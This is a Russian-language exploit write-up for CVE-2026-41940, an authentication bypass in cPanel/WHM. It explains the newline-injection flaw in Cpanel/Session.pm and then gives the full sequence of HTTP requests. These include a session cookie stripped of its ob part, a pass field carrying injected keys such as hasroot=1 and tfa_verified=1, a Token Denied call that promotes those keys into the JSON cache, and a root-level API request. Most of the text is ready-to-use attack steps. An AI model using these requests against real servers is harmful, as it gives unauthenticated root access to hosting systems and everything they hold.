
Эксплойт для CVE-2026-41940, обход аутентификации в cPanel/WHM, позволяющий неаутентифицированным злоумышленникам получить root-доступ через внедрение сессии и продвижение JSON-кэша.
CVE-2026-41940 — это критическая уязвимость обхода аутентификации в cPanel и WHM, затрагивающая все поддерживаемые версии. Она позволяет неаутентифицированному злоумышленнику обойти аутентификацию и получить доступ уровня root (WHM) или уровня пользователя (cPanel).
Уязвимость возникает из-за двух основных проблем в Cpanel/Session.pm:
saveSession: Функция saveSession не выполняла надлежащую санитизацию входных данных перед записью в файл сессии на диске. В частности, она не удаляла символы новой строки (\n) из поля pass.pass в файле сессии обычно шифруется с помощью секрета, уникального для каждой сессии (ob). Однако если cookie сессии не содержит часть ob (часть после запятой), кодирование пропускается, и значение pass записывается в открытом виде.Эксплуатация представляет собой многошаговый процесс:
Отправьте неудачную попытку входа, чтобы инициировать создание файла сессии на диске.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=anything
Сервер отвечает cookie whostmgrsession, например, whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4....
Отправьте ещё один запрос, используя cookie сессии, но удалите часть ob (запятую и всё, что после неё). В поле pass внедрите нужные ключи сессии с помощью символов новой строки.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded
user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149
Поскольку часть ob отсутствует, cpsrvd записывает значение pass без кодирования. Внедрённые символы новой строки приводят к тому, что последующие строки интерпретируются как отдельные пары «ключ-значение» в необработанном файле сессии.
cPanel использует JSON-кэш для сессий. Необработанная инъекция находится только в текстовом файле. Чтобы сделать её «активной», необходимо заставить cPanel повторно прочитать необработанный файл и обновить JSON-кэш. Это можно сделать, вызвав ошибку «Token Denied» на конечной точке, использующей Cpanel::Session::Modify.
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Отсутствующий токен безопасности в URL вызывает do_token_denied, который использует Cpanel::Session::Modify для обновления счётчика token_denied. Modify читает необработанный файл (в обход кэша), а затем записывает и необработанный файл, и JSON-кэш, фактически продвигая внедрённые ключи на верхний уровень JSON-кэша.
Теперь сессия полностью «аутентифицирована» с точки зрения cPanel. Ключ successful_internal_auth_with_timestamp обходит проверку /etc/shadow.
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
[TOKEN] можно получить из поля cp_security_token в сессии, которое часто возвращается в ответе «Token Denied», либо его можно найти, проанализировав поведение cookie сессии.
tfa_verified=1: Обходит двухфакторную аутентификацию.hasroot=1: Предоставляет привилегии root в WHM.successful_internal_auth_with_timestamp=[TIMESTAMP]: Обходит фактическую проверку пароля в системном файле shadow.user=root: Устанавливает пользователя сессии как root.